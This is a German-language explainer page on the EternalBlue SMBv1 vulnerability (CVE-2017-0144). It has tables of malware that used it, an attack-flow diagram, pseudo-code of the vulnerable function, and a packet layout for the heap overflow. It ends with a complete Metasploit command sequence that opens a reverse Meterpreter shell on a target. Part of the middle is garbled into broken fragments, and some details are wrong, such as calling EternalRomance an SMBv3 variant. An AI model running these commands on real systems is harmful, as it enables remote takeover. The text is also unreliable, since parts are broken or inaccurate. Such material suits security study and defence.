
CVE-2017-0144

"Ein Exploit. Dutzende Malware-Familien. Milliarden Schaden."
CVE-2017-0144 ist eine kritische Schwachstelle zur Remotecodeausführung in der SMBv1-Serverimplementierung von Microsoft Windows. Der als EternalBlue bekannte Exploit nutzte diese Lücke aus und wurde bei Angriffen mit schwerwiegenden Auswirkungen (insbesondere WannaCry) eingesetzt.
| # | Malware | Typ | Erstmals gesehen | Akteur | Schaden | Anmerkungen |
|---|---|---|---|---|---|---|
| 1 | WannaCry | Ransomware | May 12, 2017 | Lazarus Group (DPRK) | $4–8B | Killswitch: iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com |
| 2 | NotPetya | Wiper (Als Ransomware getarnt) | Jun 27, 2017 | Sandworm (Russland) | $10B+ | Nutzt Mimikatz + EternalBlue + PSEXEC |
| 3 | Bad Rabbit | Ransomware | Oct 24, 2017 | Indrik Spider | Regional | Drive-by mit gefälschtem Flash-Update |
| 4 | Uiwix | Ransomware | May 2017 | Unbekannt | Niedrig | Kein Killswitch, unauffälliger als WannaCry |
| 5 | EternalRocks | Wurm | May 2017 | Unbekannt | Mittel | 7 NSA-Tools (inkl. DoublePulsar) |
| 6 | Adylkuzz | Cryptominer | May 2017 | Unbekannt | Hoch (still) | Mine Monero vor WannaCry |
| 7 | Retefe | Banking-Trojaner | 2017–2018 | Unbekannt | EU-Banken | Nutzt EternalBlue für laterale Bewegung |
| 8 | TrickBot | Modulare Malware | 2017–2021 | Wizard Spider | Global | Drop von Ryuk über EternalBlue |
| 9 | Emotet | Loader | 2017–2021 | TA542 | Global | Wird als Einstieg für Cobalt Strike genutzt |
| 10 | Clop / Dridex | Ransomware | 2019–2025 | TA505 | Gesundheitswesen, Regierung | Noch 2025 aktiv |
| Tool | Veröffentlichung | Funktionen |
|---|---|---|
| EternalBlue (Original) | Apr 2017 (Shadow Brokers) | SMBv1 RCE |
| DoublePulsar | Apr 2017 | Backdoor-Implantat (ring0) |
| EternalRomance | Apr 2017 | SMBv3-Variante |
| EternalChampion | Apr 2017 | Alternativer SMB-Pfad |
| Metasploit-Modul | May 2017 | exploit/windows/smb/ms17_010_eternalblue |
| FuzzBunch | Apr 2017 | NSA-Exploit-Framework |
| Impacket + PSEXEC | 2017–2025 | Python-SMB-Exploitation |
"Ein fehlerhaftes Paket. Vollständiger SYSTEM-Zugriff. Keine Anmeldung. Kein Klick."
[Angreifer]
│
├──▶ Sendet manipulierten SMBv1 **Trans2**-Request
│ → Löst **Heap-Überlauf** in `srv!SrvOS2FeaListSizeToNt` aus
│
├──▶ Überschreibt Funktionszeiger → **Kernel-Shellcode**
│
└──▶ Führt **DoublePulsar**-Backdoor aus → **Ring-0-Payload**
(z.B. WannaCry `mssecsvc.exe`)
| Anforderung | Details |
|---|---|
| Ziel | Windows mit aktiviertem SMBv1 (Standard vor Win10) |
| Offener Port | 445/TCP (oder 139/TCP über NetBIOS) |
| Keine Authentifizierung | Unauthentifiziert — kein Benutzername/Passwort nötig |
| Architektur | x86 oder x64 (beide unterstützt) |
| Patch-Status | Ungepatcht (vor MS17-010) |
SMB_COM_NEGOTIATE → Client sendet Dialektliste
Server antwortet: SMBv1 unterstützt → Weiter
Warum? Bestätigt, dass SMBv1 aktiv ist.
\\TARGET\IPC$ → Anonymer Share für SMB-Pipes
Zweck: Stellt eine Sitzung zum Senden von Transaktionsanfragen her.
SESSION_SETUPFEALIST {
SizeOfListInBytes = 0xFFFF (oder großer Wert)
...
}
Bug-Trigger:
SrvOS2FeaListSizeToNt()vertraut dieser Größe ohne Grenzprüfung.
FEA {
AttributeNameLength = 0x00
AttributeName = "A" * 0x1000 → Pufferüberlauf
}
Heap Spray: Alloziert große Blöcke, um Speicherlayout zu kontrollieren.
srv!SrvOS2FeaListSizeToNt(
PFEALIST FeaList, // vom Angreifer kontrolliert
PULONG pNtFeaListSize // Ausgabezeiger
)
{
// Keine Validierung von FeaList->SizeOfListInBytes
memcpy(dest, src, FeaList->SizeOfListInBytes); // BOOM
}
Free-Routine)KeUserModeCallback)mssecsvc.exe)
0x00120034 XOR-Key)Ping: 0x0002C001Exec: 0x0002C002 + PayloadWannaCry-Beispiel:
EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → Verschlüsselt Dateien
SMB-Header
└── Befehl: 0x32 (TRANSACTION2)
└── Setup: 0x000E (SESSION_SETUP)
└── Parameter: TotalDataCount = 0x1000
└── Daten:
[FEALIST]
SizeOfListInBytes = 0x1100
[FEA #1] NameLen=0, Name="A"*0x1000
[FEA #2] ...
[GROOM x100] → Spray Heap
[OVERFLOW] → Überschreibe Pool
[SHELLCODE] → x64 ring0
| Tool | Sprache | Modul |
|---|---|---|
| Metasploit | Ruby | exploit/windows/smb/ms17_010_eternalblue |
| Impacket | Python | smbclient.py, psexec.py |
| FuzzBunch | Python (NSA) | EternalBlue-2.2.0 |
| Benutzerdefiniertes C2 | C/C++ | WannaCry, NotPetya |
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit